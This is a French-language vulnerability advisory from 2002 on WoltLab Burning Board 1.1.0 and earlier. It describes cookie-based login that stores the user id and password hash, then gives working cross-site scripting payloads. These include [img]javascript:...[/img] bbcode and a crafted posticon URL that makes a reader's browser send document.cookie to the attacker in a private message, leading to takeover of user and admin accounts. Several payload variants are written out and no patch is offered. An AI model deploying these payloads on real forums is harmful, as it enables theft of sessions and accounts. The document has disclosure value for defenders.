Burning Board
*************
Produit :
*********
WoltLab Burning Board
http://www.woltlab.de
Versions :
**********
1.1.0 et moins.
Date :
******
09/04/02
Problemes :
***********
- XSS
- Accès aux comptes users/admins
Developpement :
***************
On peut voir, dans action.php, dans le code qui authentifie un membre, ces quelques lignes :
--------------------------------------------------------
$user_id = getUserid($username);
$user_password = $kennwort;
session_register("user_id");
session_register("user_password");
setcookie("user_id", "$user_id", time()+(3600*24*365));
setcookie("user_password", "$user_password", time()+(3600*24*365));
--------------------------------------------------------
On authentifie donc par cookie; un cookie contenant l'id user et se nommant 'user_id' et
un cookie contenant le mot de passe crypté se nommant 'user_password'.
Si on arrive a recuperer ces 2 cookies chez un autre user, on peut rentrer dans son compte.
Quand on se logge avec son pass et son login, on arrive sur la page de reception
des message : /pms.php. On peut donc envoyer et recevoir des messages entre membres.
Le html etant rarement accepté, on va utiliser le bbcode et la balise [img].
Si on envois un message contenant [img]javascript:alert('XSS')[/img], il y aura bien
une popup avec le message.
On sait donc faire executer un javascript à la lecture d'un message, ce qui ouvre pas
mal de porte pour recuperer le cookie.
Ce script a été testé egalement sur la version 1.0 Beta 4.5.
Analysons maintenant la source de l'envois du message pour utiliser correctement la faille.
D'après le formulaire, on peut creer une url :
pms.php?action=send&recipient=USER&subject=happy&posticon=images/icons/ausrufezeichen.gif&mode=0&message=Hello
Qui enverrai un message à l'utilisateur USER, avec comme sujet "happy", comme contenu "hello",
et la petite image avec comme url images/icons/ausrufezeichen.gif s'afficherai a côté
du sujet dans la page de reception.
On va donc creer ce script:
[IMG]javascript:location='pms.php?action=send&recipient=MONPSEUDO&subject=happy
&posticon=images/icons/ausrufezeichen.gif&mode=0&message='+document.cookie;[/IMG]
qui, quand l'user ou l'admin le lira, nous enverra un message contenant les cookies :
user_id
user_password
(sid)
Il suffira alors d'envoyer ces cookies sur le site pour prendre pocession du compte.
Tout les javascript sont acceptés, on aurait donc pu creer de nombreux autres scripts :
javascript:a='pms.php?action=send&recipient=USER&subject=happy&posticon=images/icons/ausrufezeichen.gif&mode=0&message='+document.cookie; window.open(a);
javascript:window.open('pms.php?action=send&recipient=USER&subject=happy&posticon=images/icons/ausrufezeichen.gif&mode=0&message='+document.cookie);
etc...
Tout cela nous permet donc de rentrer dans un compte si l'user lit un message. Mais
il y a mieux.
Revenons à l'url d'envois de message :
http://www.site.com/pms.php?action=send&recipient=USER&subject=happy
&posticon=images/icons/ausrufezeichen.gif&mode=0&message=Hello
L'image images/icons/ausrufezeichen.gif s'affiche directement sur la page contenant
la liste des messages, l'url pms.php et on peut voir dans la source :
On peut donc ici agir, non pas directement par le formulaire d'envois, qui ne nous permet
pas de choisir l'url de l'icone, mais par l'url.
pour avoir dans la source
il suffira de taper dans son browser l'url
http://www.site.com/pms.php?action=send&recipient=DESTINATAIRE&subject=happy
&posticon=javascript:alert('hacked')&mode=0&message=Hello
ou encore l'url
http://www.site.com/pms.php?action=send&recipient=USER&subject=happy
&posticon=">&mode=0&message=Hello
pour avoir dans la source
">
Patch :
*******
/
Greetz :
********
/
Credits :
*********
frog-m@n
leseulfrog@hotmail.com